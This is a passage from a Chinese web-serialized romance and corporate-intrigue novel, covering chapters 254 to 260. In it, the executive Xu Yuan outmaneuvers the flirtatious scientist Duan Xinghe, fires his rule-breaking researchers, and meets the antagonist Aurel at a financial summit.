的确有人在给许愿铺路,但许愿能走到今天这一步,靠的还是他自己的能力。 几个候选人邀请段老师入职的事,大家都听说了。 许愿这人对自己够狠,脑子清醒,善于揣摩人心,脾气好,能力强,还有这么张绝美的面容。 她简直把自己的长处发挥到了百分之二百的程度。 她早早晚晚都是要一鸣惊人的,不论是在傅氏还是在盛世。 许愿接过调令,礼貌道谢。 陈飞豪连忙摆手,笑得十分僵硬。他现在是知道许愿充满血性,他是真担心许愿没有接收到自己投诚的心意还拿他当敌人,脸上的笑意都是僵的。 一滴冷汗顺着鬓角滑落,一时不知道自己该说些什么来解释。 许愿看出了陈飞豪的不自然,低声说道:“我已经写了新的任职书,从今天开始你暂代我的职位。” 陈飞豪整个人都傻了,呆呆愣愣的看着许愿,实在是被这突然而来的消息吓到了。 “真的?你不是在开玩笑吧,你真的要让我担任盛世的副总!” 昨天虽然向许愿低头了,但他还没忘自己以前是怎么嘲讽侮辱许愿的,许愿这都不带记仇的还要升他的职! 许愿是圣人吗! 许愿淡淡的将一份资料撂到桌上。 “我来到盛世后对所有高层做过一份详细的调查,这些人或多或少都有私心,小到会包庇自己低学历毫无用处的亲人朋友在公司拿着高薪浑水摸鱼大到挪用公款建立外包公司偷吃回扣。” 许愿说到这里忍不住轻嗤一声。 “但唯独你爱好是品酒,整日里嫉恶如仇像是个没脑子的愤青,但在公事上却也有着自己的独到见解,虽然到不了容浔沈略这高度,但在盛世也算是能挑得起大梁的人。” “此前你针对我无非是认为我靠旁门左道上位抢到了不属于我的东西,你清楚我的真正实力后识时务的让步,这说明你聪慧懂什么叫审时度势,所以这个位置该由你来坐。” 看着这双真诚的眼睛,感受到许愿自然散发的平和气息,陈飞豪高悬的心终于放下了。 要不怎么说许愿升得这么快!人家是真的有格局! 许愿见他笑的看不见眼睛了不由轻微摇头将一瓶赤霞珠红酒递过去。 “几乎要跟你年龄一样大的红酒,送你当升职礼。” 这是真投其所好。 陈飞豪爱酒,一看到这瓶酒的包装和间接险些怪叫出声。 这年份的酒几乎已经不剩几瓶了,前两年还被拍出天价,几百万一瓶酒,陈飞豪都没舍得买,怕他老子教训他。 许愿眼睛不眨的送给他,真是送到他心坎了。 陈飞豪捧着酒乐颠颠的笑个不停。 “许总你放心!以后我就是你的人了!” 陈飞豪又对着许愿连连道喜,离开的时候脚步都轻快许多。 陈飞豪算是聪明人,他知道接受许愿下达的调令其实就是间接告诉其他高层他选择了许愿,以后就跟许愿是一条船上的人。 陈飞豪的父亲陈建军苦口婆心劝陈飞豪不要糊涂做出错误的选择,岂料陈飞豪直接将许愿近期的成就列了个表,还着重标注了许愿的人脉圈,陈建军没说服陈飞豪,倒是被陈飞豪说服了。 也是,许愿都有这能耐了,选许愿准没错。 做好准备,许愿走进电梯。 她的目的地是研发部。 屏幕上的数字正在快速跳动,飞速下滑直至B5。 电梯门开了,许愿平静的走出来 看见他,每一个擦肩而过的人都会停下步伐,毕恭毕敬地喊一声“许总”。 许愿面上表情温和中透着疏离。 把东西放进自己的办公室,前往研发中心去见段星河。 嗡嗡嗡,灯火通明的长廊里传来熟悉的响声。还未见到段星河,一辆红色玩具小飞机就先行进入许愿的视野。 嗡嗡嗡,小飞机身上的灯闪了闪,围着许愿转了几圈然后摆尾转向,带领许愿朝前走。 穿过长廊,眼前是一个极为广阔的实验室,每一处都被明亮的灯光照耀,宛若殿堂般圣洁肃穆。 穿着白大褂的研究人员来往穿梭,一台台精密仪器,一排排高性能的电脑,几辆汽车分布在不同的区域,被拆分成许多零件…… 这是她在进入盛世后就让人准备好的研究所,好在找到段星河后这里派上了用场。 许愿站在原地看了很久,修长五指把玩着一张门禁卡。 没有这张卡,她连刚才的长廊都无法进入。 而整个公司,除了段星河带来的团队,拥有这张卡的人一只手都能数得过来。 这不是一张卡,是权力的核心。 许愿轻轻触碰着权力的边缘,感受它锋利的轮廓,嘴角勾起一抹浅笑。 见许愿停留了,红色小飞机围着她转了两圈,似乎是示意许愿继续跟自己走。 许愿笑意加深,缓步前行。绕过几个区域,前方出现一道高大的身影。身影转过头,露出一张英俊至极的脸,无框眼镜换成了金丝眼镜,贵气又儒雅。 许愿知道,这份儒雅只是伪装。 她定了定神,率先伸出手:“合作愉快。” 高大男人勾唇一笑,伸出手来。 许愿用力一握,五根指头却抓了个空。 她没有被吓到,只是顿了下连忙抬眼看去,面前依旧是段星河英俊的脸,但自己的手却从对方的掌心穿过。 许愿轻啧一声,显然猜到是什么技术了。 身后忽然传来一阵低沉的笑声:“那是全息投影,我发明的技术,你应该也懂,这也是你正在研究的技术。” 许愿转头看去,却见真正的段星河双手插在白大褂的口袋里,笔挺地站在不远处,天然上翘的薄唇带着几分戏谑。 许愿来回转头,一会儿查看段星河,一会儿查看全息投影,感觉十分玄幻。 如果不亲手触摸,她真的没有办法区分哪一个是真人,哪一个是影子。 这一刻许愿突然明白段星河为什么会在晚宴上说她在浪费自己的基因,如果她也在实验室做这些研究,这些公式她是可以写出来的。 第255章 你把我当成谁了 “怎么样?好玩吗?”段星河扬起下颌。 “段老师果然是科研领域的先驱者。”许愿忍不住轻笑。 “许总过奖了。我们之间一定会相处得很愉快。”段星河走上前,率先伸出手。 “当然。”许愿握住这只骨节分明的大手。 五根指头又扑了一个空,掌心里虚虚地拢着一团空气。 许愿:“……” 很好,又被耍了! 纵使脾气再好,许愿也忍不住黑了脸。 红色飞机嗡嗡叫了两声,朝前开出一段路,然后略微调头,又发出滴滴的声音叫两声,示意许愿跟着自己。真的段星河在里面。 许愿揉揉额角,只好继续前行。 空旷过道上,段星河出现在不远处,笑着朝许愿伸出手。 许愿仔细观察,玩味地勾起唇角,没有停步,直直走去。 “他不是真的,他没有影子。”许愿在心里说道。 不曾停步,许愿径直穿过高大男人的身体。 又一个段星河出现,许愿浅笑走过,撞碎了虚影。 拐过一个弯,又一个高大身影出现,许愿看了看对方脚下,依旧直行。 她早就看透了段星河的劣根性了,这人现在明摆着就是耍着她玩呢! “唔!”她挺翘的鼻尖撞上一个坚硬的胸膛,发出闷哼。 “你这是投怀送抱?”低沉的笑声从头顶传来,一双强健的手臂把许愿搂住。 这熟悉的轻浮态度,不是段星河还能是谁? “你怎么没有影子?” “哦,这个区域的灯光是我设计的,不会产生投影。”恶趣味的低笑,戏谑的语气。 许愿想要挣脱,却被抱得更紧,敏感的耳朵被一股滚烫的气息吹拂,柔软的耳垂被两根指头轻轻揉捏了一下。 “段星河!”许愿忍无可忍地低喊。 “嗯?叫我做什么?”段星河明知故问,极富磁性的嗓音响在许愿耳畔,濡湿温热的嘴唇贴着许愿的耳廓。 所谓“耳鬓厮磨”,大概就是这种姿势。 许愿这次是气的,她拽住段星河的领带。 “你胡闹也要有个度,我有未婚夫,请你跟我保持距离。” 许愿几乎是压低声音提醒他。 “好吧好吧,真是个小古板不禁逗。” “不过是看你漂亮想逗一逗你,我可对你没有别的心思。” 他又凑近了几分,脖子被勒得更紧,然而他笑声却更加愉悦,心满意足的段星河终于放开了自己的搭档。 许愿依旧拽着他的领带,表情十分凶悍。 或许许愿并不知道,她生气的时候脸颊泛红,眼眸闪亮,比平时漂亮无数倍。 段星河双手插兜,尽情欣赏着这张生气勃勃的脸,愉悦的笑声在空旷的实验室里回荡。 周围的研究员们纷纷侧目,表情惊讶。 段星河被拽着领带,只能弯腰低头,讨好地看着许愿。这副样子像极了被驯服的猛兽。 见段星河终于老实了,许愿放开段星河的领带。 段星河垂眸看他,眼睛里翻涌着浓烈的情绪。 “段星河,以后别这么闹我,工作的时候严肃点。”许愿警告他。 她并未注意到,自己方才曲起的指尖触碰到段星河的喉结。 喉结上下翻滚,似在吞咽某种炽热的东西。 段星河沉默半晌才问道:“那不工作的时候呢。” 极富磁性的嗓音变得异常沙哑,深邃眼眸里闪烁着危险的暗芒。 他是真的疯了! 大家都是成年人,都能明白这句话是什么意思。 段星河几乎在暗示一般的示爱。 昨天见到段星河的时候没感觉到段星河这么疯,此刻许愿都有些手足无措,眼底都透着几许茫然。 “你疯了吗。” 她询问出口,她是真觉得段星河疯了。 “你把我当成谁了。” 许愿抬眸看向段星河,几乎是逼问一般的开口。 把她当成谁了? 当成谁了呢…… 段星河怔了片刻,他站在原地,身体有些僵硬,恍恍惚惚的仿佛还能看到多年前那张美艳的面容,对上她柔和的笑脸,听到她柔柔的喊自己“星河”。 他那时正是情窦初开的年纪就被苏青莲带在身边做实验,他接触的是那样明艳的女性,那时的苏青莲正是如花一般的年纪,少年的心掀起阵阵涟漪,那克制不住的汹涌爱意喷涌暴涨。 直到苏青莲假死只留给他一封书信消失在华国消失在A市。 时隔多年他通过许愿,恍然的好像再度见到了苏青莲那个心思深重自私无情的女人。 他把许愿当成了谁? 他把她当成了苏青莲,这么多年,他果然一直都没有放下。 但这些段星河是不会承认的。 他摆了摆肩:“你长这么漂亮,我就不能看上你的脸想撩撩你?” 许愿:“……” 许愿瞪了段星河一眼,转身离开。 她不说,段星河就真的拿她当傻子了? 段星河看她时明摆着就是透过她在看故人,他在忆往昔,她像谁?她像苏青莲,所以段星河心里的人是苏青莲吗? 许愿转身离开前还听到低沉愉悦的笑声在他身后响起,带着恶作剧得逞的戏谑。 那笑声仿佛不带任何伤痛。 许愿顿了下加快脚步离开。 苏青莲真是个祸害啊。 许愿回到自己办公室,突然接到陈飞豪的电话。 “那群龟孙子果然不安好心,他们算计好的,打算利用你先谈稳合同,等合同谈下来后就要逼你出局!”陈飞豪激动的开口叫喊提醒许愿。 “他们会设计你盗窃……” 话还没说完,许愿淡淡的接过后面的话。 “我会因为盗窃公司机密,被抓去坐牢?”许愿嗤笑一声。 “他们故意给了你特权让你接近段星河就是为了算计你!” 陈飞豪气的想骂脏话。 妈的一群心脏的人。 许愿垂了垂眼眸,其实这些她早就猜到了。 那群人不会无缘无故就让她成为盛世的执行总裁,他们轻易让步只能说后面还有其他阴谋诡计等着她。 “我不可能盗窃公司机密,这里面肯定有什么不可告人的东西。”许愿分析道:“我会把那些躲在暗处的臭虫揪出来赶出盛世。” 第256章 好玩吗 “许愿,我们两个现在可是一条船上的人,你一定不能出事啊!不然我一样会完蛋的!” “放心,出事的只会是躲在暗处的人。” 见许愿心里有底陈飞豪才算是松了口气挂断电话。 到这时候了,许愿倒是还有心思玩段星河送给她的小飞机,全然不像是担心自己被算计的模样,一副轻松自在的样子。 又过了几分钟,办公室的门忽然打开。在门口来回打转的小飞机撞上了来人的胸口。 许愿握着遥控器的手陡然僵住,表情产生了一瞬间的空白。 陆斯年低头看看怀中的小飞机,又抬头看看窝在老板椅里,双腿搭在办公桌上的许愿,眉梢微微一挑。 这副惫懒的模样,竟是以前从未见过的。 处理公事的时候雷厉风行,果决强干,四下无人的时候,却像个孩子一般偷偷摸摸玩着遥控小汽车。强烈的反差感让陆斯年差点笑出声来。 他倒是极少见到许愿这副放松模样,她在外一直都是强大的,现在这孩子气的样子……确实可爱。 “好玩吗?” 陆斯年身后,一道极富磁性的嗓音忽然响起。 段星河不知何时倚靠在门边,目光扫过那辆小飞机,嘴角勾起戏谑的弧度。 许愿终于回过神,连忙放下搭在办公桌上的双腿,飞快跑到门口把小飞机捡起来,连同遥控器一起塞进抽屉,钥匙一拧,上了锁,抽出钥藏在衣服口袋中。 行云流水的动作,防贼一般的态度,看得陆斯年不知该拉下脸还是扬起唇角。 段星河的低笑声已经止不住了。 “许总,有没有人说过你很可爱?”他直勾勾地看过来,眼神灼热。 许愿调整了一下领带,又理了理袖口,抱起一沓资料镇定自若地说道:“走吧,去开会。” 马上就是金融峰会,距离峰会正式开始只有两个小时,一场会议后他们就要一起去现场了,没有多少时间了。 “你喜欢这种玩具小飞机,我可以让盛华的工程师帮你定制几台。”陆斯年旁若无人地开口。 许愿眼角都跟着抽了抽。 “哥,这个小飞机就够我玩了。” 被人看到偷偷玩这个真的很丢脸哎,更不要说是被自己哥哥发现,脸都有点发热。 “我就是工程师,找我好了。”段星河看出了两人的友人关系,脸上却全无异色。 陆斯年没有跟上许愿的步伐,只是站在原地沉默地审视段星河。 段星河双手插兜,似笑非笑地回视。 “表现得这么轻浮,你是在戏耍许愿吗?”陆斯年沉声问道。 “你这么霸道管这么多,你只是他哥哥又不是她爸。”段星河挑眉反问。 不管是“戏耍”还是“霸道”,都不是什么好词。 隐约听见一些声音的许愿回过头,面无表情地看向两人,眼眸深处闪动着晦暗的光。 这次因为许愿的关系盛华和盛世会一同参与金融峰会,所以陆斯年才会在这个时间匆忙赶来,没带薛酒是因为薛酒还需要在盛华开个简短的会议,总不能盛华的高层全都来盛世。 会议快开始了,陆斯年和段星河姗姗来迟,坐在长桌两头。 他们的下属分别穿着黑西装和白大褂,坐在长桌两侧。 大家站起身向几位打招呼,只有许愿坐在原位,安安静静地整理发言稿。 许愿开始汇报近期的工作,用PPT演示接下来会出现在峰会现场的各类研究成果,几乎每一种都会掀起不小的波澜。 众人看着那一份份的资料开始讨论,表情都很凝重。 其实明显看出盛世接下来想研究新能源相关,且除此之外还有智能系统和医药方面的研究。 这些全都是段星河提出来的方案,他们盛世既然把祖宗迎回来了总不能给不起研发资金啊,这就是为什么上面愿意让段星河自己寻找合作对象的原因。 他花钱如流水半点不知道节俭,所以才急需这些大企业接手投资合作。 半小时过去了,大家只是制定了一个开源节流的计划,并没有确定可行的方案。 许愿扫视众人,沉声道:“有想法的可以回去再考虑,回头出一份计划书提交给总裁办。辛苦了,散会吧。” “那个许总,”坐在段星河身边的研究员举起手,眼睛盯着许愿,表情很不痛快,“我能不能在这里讨论一个额外话题?” 许愿靠向椅背,回视过去。她知道,这个“额外话题”必然与自己有关,而且不是什么愉快的事。 段星河也靠向椅背,懒洋洋地跷起二郎腿,脸上带着看戏的表情。 他没有阻止自己的研究员,即使他知道对方炮轰的目标是许愿,他就是这样的坏心眼儿。 许愿目光淡然,“额外话题不要在会议上讨论,私下跟我说。” “其实也不算额外话题,跟我们的工作重大相关。许总去实验室的时候穿着高跟鞋,实验室里有很多精密仪器,万一许总没有站稳摔倒了,可能会引发严重的事故。最便宜的仪器都价值八位数,我想这个责任许总也负不起吧?” 研究员说着说着,表情就从不爽变成了愤怒。 所有人都看向许愿,目光里带着质疑和谴责。 段星河勾起唇角,满脸兴味。 他没替许愿解围,只是静观其变。 许愿今天才是第一次到研究所实验室这群人就开始找茬了,也是,提出这话的人并没有看到许愿是如何与段星河比试的,还当许愿只是个花瓶呢。 陆斯年脸色冷下来,正欲开口,许愿就很轻的笑了一声。 许愿是所有人目光的焦点,也是被质疑的对象。 但她没有生气辩解,也没有慌乱道歉。 其实早在自己进入实验室就猜到会有这类的人针对自己,她毫不慌乱,只是唇角噙着笑意,良久后才缓缓开口。 “你这样说的话,那么你可以看看你们实验室内的一些监控录像。” 许愿打开手机投屏。 对面墙壁挂着一块大屏幕,屏幕里,许愿只是走在空旷的过道,从来不靠近任何一台机器。 第257章 好大的官威 监控有头有尾,有时间有日期,想推翻都找不到破绽。 本该结束的会议又延长二十多分钟,许愿段星河和陆斯年不说停止,大家只能耐着性子看完。 那名研究员满脸的不爽都变成了尴尬。 “非操作员不得擅自操作仪器,不准开关设备,乱动工具,破坏工具,这条规则是我和段老师一起制定的,我不会带头破坏。既然你们今天要跟我探讨这个问题,那我就跟你们讲讲清楚。” 许愿拿起手机,投出另外一个视频。 陆斯年的下属坐在长桌左侧。段星河的研究员坐在长桌右侧。 段星河的研究员指控许愿穿高跟鞋进入实验室的时候,盛世的工作人员都是满脸尴尬。 但现在,尴尬的人却换成了对面的白大褂。 只见大屏幕上密密麻麻列出几十个小分屏,每一个分屏都记录着一个研究员的违规操作行为。 看见精密仪器,明知道自己不是操作员,这些人也按捺不住好奇心,跑过去打开仪器,尝试操作。 他们以为不会有人计较这点小事,毕竟他们都是专业人士,不会胡来。 而且,也有女性研究员穿着平底鞋扑倒仪器弄倒了培养皿。 这一幕幕的画面极具冲击力,让那个站出来指责许愿的研究员脸都整个红透了,是尴尬的觉得丢脸。 “不是我想跟你们计较,是你们一定要针对我”许愿摇摇头,语气冰冷。 满脸傲气的研究员们一个个涨红了脸,露出难堪的表情。 最先对许愿发难的那个研究员连头都不敢抬。 段星河放下二郎腿,身体坐直了一些,满不在乎的戏谑表情终于有所收敛。 他非常了解许愿。这人温和的时候很温和,一旦被激怒,行事手段却又会非常狠辣。 “许总——” 段星河看戏的心态瞬间破灭,急促开口。 “段老师,”许愿打断他,“规则就是规则,制定了就一定要遵守。违规操作的后果就是开除,这一条我跟你反复确认过,你也同意,对吗?” 段星河无言以对。 坐在他身侧的研究员们涨红的脸齐刷刷变得惨白,慌乱不安的目光四处扫视,最终定格在许愿身上,化为屈服。 许愿说他是盛世的执行总裁,但在他们这里只是这个部门的后勤,主要职责是为大家服务,于是这些人就真的把他当成了佣人,且态度十分倨傲。 最可笑的是段星河竟然也相信了这可笑的话。 真可笑。 许愿摇摇头,薄唇勾出一抹讥讽的弧度。 “规则写在合同里,合同是所有人都签了字的。”许愿冲大屏幕扬了扬下颌:“这十三个人都被开除了,回去办离职手续吧。” 一口气开除十三个人,而且其中还有段星河的左膀右臂,谁有这么大的魄力? 陆斯年低下头,揉捏鼻骨,装作非常苦恼的样子。 手臂挡住了他不断上扬的唇角。 果然,阿愿就是阿愿,谁也不能踩在她头顶欺负她。 盛世的工作人员都看呆了。 许总竟然彪悍至此! 段星河的研究员一个个僵在原位。 段星河常年戴着一副戏谑微笑的面具,用玩世不恭的态度面对周围的一切。然而此刻,这张面具已经裂开,露出冷酷无情的真面目。 “许总好大的官威,我的人也敢开除。既然这样——” 他的话再次被许愿打断。 许愿跷起二郎腿,指尖轻轻叩击桌面,笑着说道:“既然这样,段老师也要一起走?麻烦段老师回忆回忆合同内容,未来三年,你已经卖给盛世。如果你擅自离开,盛世有权无偿使用你在智能驾驶系统领域的所有专利。” 提前离开就用专利费做补偿,这项条款不算对等。但段星河并不觉得盛世敢得罪自己,让自己在三年内过得不开心,所以他签了字。 他哪里会想到,许愿能够用合理合法的手段,把他的团队拆得七零八落。更糟心的是,引发这桩惨案的人还是他的副手。 他只是想看个戏,却被大火烧了身。 许愿开除的都是团队核心,任何一个走了都会让段星河蒙受巨大损失。 有法律效力约束着他,他根本无法阻止。 原来他刚刚签下的合同处处都是陷阱,可笑的是,他却觉得自己得到了最大的权益。 监控视频准备地这么全面,许愿是早有计划。 从一开始,他就已经想好了怎么收拾自己。 她可是苏青莲的女儿,怎么可能是什么柔柔弱弱的小女生。 段星河早该知道,许愿漂亮的皮囊下藏着一头凶狠的狼。 “许总,用什么条件才能保住我的团队?”段星河闭了闭眼,语气有些无奈。 站在高处,用戏耍的心态摆弄许愿,用俯视的角度观察许愿,这样的场景再也不会发生。 段星河露出了从未有过的颓败表情,脸上不再有倨傲,反倒写满难堪。 他的研究员们一个个头颅低垂,静默不语。这是屈服的姿态。除了科研,其实他们很多事都不擅长,又怎么会是许愿的对手。 许愿摆摆手,坐在他后排的助理立刻给长桌上的每一个人分发合同。 “这是我重新拟定的合同,段老师看一看吧。” 新鲜出炉的合同,纸张似乎还散发着激光打印的热气,条条款款都更有利于盛世。 以前那份合同,段星河只有权力,没有义务。 他花掉盛世几百亿,为的只是专心做自己的研究。合同的不平等,造成许愿地位上的尴尬。 现在这份合同,段星河必须为盛世的发展考虑,必须在科研中配合盛世创造出更多的产能价值和商业利润。他是盛世的员工,不是盛世的祖宗。 把合同仔细看了一遍,陆斯年闭上眼睛揉捏鼻骨,再次利用手臂的遮挡,掩饰自己上扬的薄唇。 旁的人看不出来,其实隐藏条款这些东西都是盛景炎和许愿的,真正的赢家还是许愿和盛景炎。 盛世其他人在心里嘶嘶直吸气。 陈飞豪心惊肉跳,佩服不已。 第258章 她跟盛华到底什么关系啊! 没跟许愿为敌,是他做过的最正确的选择。手段这么狠,心眼这么多,连段星河都能玩死,玩死自己还不容易? “许愿,你一定要跟我这么针锋相对?我以为我们的交情……”段星河放下合同,刚想要说句什么缓和气氛。 许愿微微一笑,耸耸肩膀打断他的话:“段老师,我们之间没有什么交情,跟您有交情的是苏女士才对。” 她和苏青莲都没有感情,更不要说跟段星河有什么感情了。 陆斯年忍俊不禁,低沉一笑。 段星河沉默了好半晌才看向傅京礼,目光十分不善。被激怒到这种程度,他也并没有对许愿露出凶狠的表情。 他的玩世不恭,高高在上,都在此刻被一一打破。 他以为许愿是个很有意思的玩具,万万没料到,自己在许愿心里也不过是个赚钱工具。 自尊心碎裂的一瞬间,某种异样的情绪钻入心底。 段星河压下火气,深深看了许愿一眼,拿起笔飞快签下自己姓名。 许愿走到段星河身边,伸出手:“段老师,你刚才看我那一眼,我在你的目光里终于找到了平等。我想,在这样的情况下,我们的合作才能愉快。你觉得呢?” “我同意你的看法。”段星河站起身与许愿握手。 指腹不再肆意摩挲,只是握着,非常用力。 许愿满意地笑了笑,摇晃段星河的手臂,退后一步,收起合同。 “散会。”许愿笑着宣布。 段星河带着如丧考妣的一群研究员浩浩荡荡离开,脚步有些仓促凌乱。 盛世高层等人心里连着咯噔,她们一个个走到许愿身边攀谈,态度亲昵又恭敬。 会议结束,众人已经去做准备参加金融峰会,陆斯年走到许愿身边忍不住笑了笑。 门自动合拢,会议室里没有外人。 陆斯年递给她一杯早就准备好的热牛奶。 “我还以为你很喜欢段星河那种类型的人。”陆斯年笑了笑。 “前提是他要尊重我。”许愿喝了口牛奶,态度很平静。 “你怎么知道他不尊重你?” “尊重一个人不会态度轻浮,也不会处处戏弄,更不会时时刻刻冷眼旁观。我在段星河眼里,大概只是一只小白鼠。” 许愿清楚,段星河肯在她被奚落的时候站出来只因为见不得她顶着这样一张脸被人欺辱。 实际对她并没有多少感情,更谈不上尊重。 段星河看她就是在看苏青莲的子嗣基因,他或许都没有将她当作一个完整的人来看。 陆斯年摇头失笑。 他知道许愿说得对,但他其实觉得段星河是喜欢许愿的,只是那人情商太低,不知道怎样表达,只能用恶劣的手段吸引心上人的注意。 就像一个小学生,以为揪揪前排小女孩的辫子,就能让对方多看自己一眼。 陆斯年知道段星河怎么想,但他不会说出来。 他妹妹这么好,可不能被段星河那样的幼稚鬼骗去,比起段星河他还是觉得盛景炎…… 提到盛景炎陆斯年忍不住轻叹一声。 “阿愿,你真的认定盛景炎吗。” “我以为哥你早就知道了。”许愿完全不否认自己对盛景炎的偏爱。 “你该清楚,盛景炎的双腿已经断掉了,我知道你对他的感情很深,但你要考虑以后。” 他是站在哥哥的角度在劝她。 “哥,我能让他站起来。” 许愿开口,眼底全都是自信的光芒。 “我不会放弃他,我会守着他直到他能够站起来。” 这是许愿的承诺,也是许愿对盛景炎的爱。 陆斯年知道自己说什么她都不会听了,只能拍了拍她的肩,许愿笑道:“我去准备几份资料。” 话落许愿头也不回地摆手,推开门,渐行渐远。 脚步声已经消失,陆斯年依旧坐在原位,他皱紧眉头,揉捏鼻骨,面色阴郁。 算了,这是阿愿的选择,他作为哥哥,总会护着她的。 不知过了多久,他叹了口气推门走出会议室。 …… A市金融峰会现场。 许愿没让盛景炎参加,由她带领盛世的人一起到达现场。 金融峰会的举办场地在A市最大的体育场馆举办,内里已经布置完成,各类企业都占领了自己所属的版块,其上是对企业的介绍。 其中几大家族的就排在最前面,但为首的却是盛华,其内是盛华的几位高层,许愿的秘书左司就在列。 场馆内不仅有公司企业的简介,还有此次进行的一些最新研究的展览。 把这次的版块批给盛华最主要的原因是上面想用盛华来压一压外国人的嚣张气焰。 盛华后面就是盛世,一眼便看到简介一栏有摆放许愿的照片介绍,有些外国友人目光扫到许愿的照片上意味不明的笑了笑。 这些是与许愿合作过的,她们知道许愿的真实身份,只是没想到许愿还去了盛世。 众人很给面子的在盛世多停留了几秒,待看到许愿是盛世的执行总裁后,有些人脸上的笑意止也止不住,脚步停留在盛世驻足良久。 盛世的高层立刻兴奋的眼睛都亮起来想要走近前去交流,岂料几人拦住许愿一口流利的外语询问许愿。 这些人有人说法语有人说德语,却没人说英语,许愿微笑的一一应对完全没有被他们的几国外语难倒。 高层们脸色难看,而跟在一旁的盛世的翻译脸色一会儿青一会儿白。 盛世请了几位翻译,为了翻译各国语言,但现在听明白这些大人物说的话后整个人都僵硬的,望向许愿的目光都是错愕和惊诧。 那些大人物说了什么? 【许,你将盛华丢给陆来管理这样的公司?这有什么好的?】 【我还是更喜欢盛华推出的新式研究项目,许什么时候给个时间好好谈一谈?】 【盛世的合作案盛华会参与加盟吗?如果有盛华加入我想我会投一笔钱,看在许的面子上。】 救命啊! 许愿到底跟盛华是什么关系啊!她总不该是盛华背后掌舵人吧!开什么玩笑啊! 第259章 奥瑞尔 翻译的脸色实在有些古怪,目光时不时的落在许愿脸上,直到对上许愿洋溢着笑脸的面容心尖都跟着颤了下。 几名翻译笑容僵住了,他们呆愣愣的站在原地。 其实根本不需要他们来翻译,因为许愿本人就可以几国语言完全无障碍交流,他们唯一需要的是将这些大人物说的翻译成中文告诉盛世的高层们。 翻译们本来心里对许愿就有点犯怵,此刻对许愿更是带着点敬仰。 刚才许愿那个笑容更像是在告诫她们,后面不要说什么不该说的。 翻译们识时务的开口翻译,半句没有提外国资本说的与盛华相关的,唯一提及的是外国资本对许愿的看重推崇。 这些盛世的高层也完全可以理解,毕竟许愿在傅氏参与了不少并购案,最经典的洪门谈判更是让国内资本在海外出圈,加之许愿的生母苏青莲,让她更增添几分神秘色彩,这些人推崇许愿不无道理。 盛世高层望向许愿的眼神都染带着星星点点的光,似是等着许愿带他们盛世爬的更高更远。 唯有陈飞豪走到许愿身边,声音听着平静,但如果仔细关注陈飞豪汇能感觉到他声线带着点颤音,像是遭受到什么惊吓。 他学过法语,开口问了句:“盛华?” 只问了两个字。 盛世高层一位陈飞豪说的是盛世和盛华合作的相关事宜,但只有许愿清楚,陈飞豪在问什么。 许愿轻飘飘的瞥他一眼,淡淡的点头。 陈飞豪扶额低笑,且笑得有那么点癫和激动,像是下一秒要发疯似的,盛世高层不由皱眉,就连陈飞豪的父亲陈建军都要呵斥几句。 陈飞豪却哥俩好的将自己的手搭在陈建军肩上。 “爸,我没觉得我这么聪明过。” “你以后绝对会夸我是个商业奇才,我做出了这辈子最正确的决定。” 陈飞豪是个聪明人,但他的聪明只是对于普通人来讲,对于许愿段星河这类高智商人群陈飞豪并不会被他们放到心上,而陈飞豪若是不跟这些人比也算是优秀人才。 他现在搭上了许愿这条船,跟着许愿在盛世升职。 若是不知道许愿的一些底细陈飞豪都已经觉得许愿是匹不达目的不回头的狼王了,更不要说现在知晓她更深处的身份。 许愿现在的回应,就是默认了她是盛华总裁的身份。 那可是盛华总裁!那是盛华啊! 是国内多少企业都想合作的盛华,是近年来第一个在国外彻底站稳脚跟连国外资本都不敢招惹的盛华啊! 打个比方吧,大家都知道傅氏在国内影响力巨大,研究的智能机不比国外的智能机功能差,但因为价格方面的问题数次被国外资本告上法庭限制销售,但盛华不会遭到这样的对待,因为盛华拿出的东西是国外资本也想争相合作的东西。 盛华没有聪慧到完全让利,她是以力驳力,那些想要针对盛华的,许愿会一点一点捻灭那些人的心思,他们会联系那些克制他们的公司达成合作,由这些来达成自己的目标,时间久了那些藏了别的心思想要将盛华赶出国外市场的资本也发现了许愿的操作模式。 他们只要针对盛华,盛华就会支持他们的敌对公司然后转过来一起针对他们。 只要是资本就更在意利益,而许愿的盛华显而易见能带给他们更多的利益,所以会站在盛华这边让盛华在国外地位更稳。 许愿的盛华是国外资本追捧的企业,更是国内支持发展的企业,许愿握在手里的人脉是任何人都无法想象的多。 陈建军觉得自己儿子脑子是坏掉了。 但现在孩子已经选了许愿这条船已经没有别的退路,只能相信他的选择没有错了。 安静的环境突然被一道声音打断,舒缓的轻音乐仿佛在此刻戛然而止。 “你就是许愿?” “被盛景炎藏在身后的女人吗?” 男人长了一张狂狷野性攻击性极强的面容,他身量很高,约有一米九,身上的肌肉都快将那身灰色的西装崩裂,鼓鼓囊囊的全都是肌肉,像是一头行走在豪华宴会的野兽,危险野性,仿佛随时都会冲上来伤人。 许愿偏头看向来人,待对上那人的面容时,瞳眸收缩,目光愈发冰冷,凝聚着说不出的强烈恨意。 来人竟然是奥瑞尔。 奥瑞尔,造成风月山车祸的主谋之一。 是他精心联系了那些对盛景炎有敌意的疯子在风月山将盛景炎当作猎物追逐撞击,这是个草菅人命的疯子。 奥瑞尔手抚摸着自己的下巴,眯着眼睛细细打量许愿,笑的意味不明。 “长得的确够美,怪不得盛景炎不要公爵小姐选了你呢。” 奥瑞尔一步一步逼近许愿,刑从景拦在许愿身前,奥瑞尔哼笑一声抬起自己两条手臂做了个自己要投降的动作。 “好吧好吧,我只是想近距离欣赏美人儿罢了,何必要这么谨慎呢。” 奥瑞尔取出自己的身份标识卡在刑从景眼前晃了晃:“我也是你们邀请的重量级来宾呢。” 奥瑞尔笑眯眯的看向围着许愿的几位资本,加深语气:“是吧,雅莱叔叔。” 奥瑞尔在国外并不是什么真的浪子,他是完全的贵族出身,身上是有爵位,他爱慕的那位公爵小姐更是他的青梅竹马,这些外国资本遇到他也会被他的身份压一头。 雅莱赫然就是跟奥瑞尔父亲合作过的对象,此刻只能讪笑两声,却并未真的回应什么。 许愿的身份摆在这里,他不愿得罪许愿也不愿得罪奥瑞尔,只能沉默。 奥瑞尔啧了一声,视线却仍然十分灼热的落到许愿身上,仔细的打量她,眼神逼仄带着兴味儿。 许愿是真的很美,是那种不分国界的美,肌肤白皙,清透的娇嫩的白色,眼底像是藏着一颗漆黑的宝石,昂贵中透着灵动,她的身材高挑婀娜,曲线完美,奥瑞尔打量着她,目光中都带着几分下流之意。 “跟盛景炎多委屈,不如跟了我。” 第260章 一物降一物 许愿笑了。 她的笑意中都透着凉薄之意。 她没有主动去找奥瑞尔,奥瑞尔却主动凑上来,他是太拿他的身份地位当回事了。 许愿开口回了一句德语,奥瑞尔有些茫然。 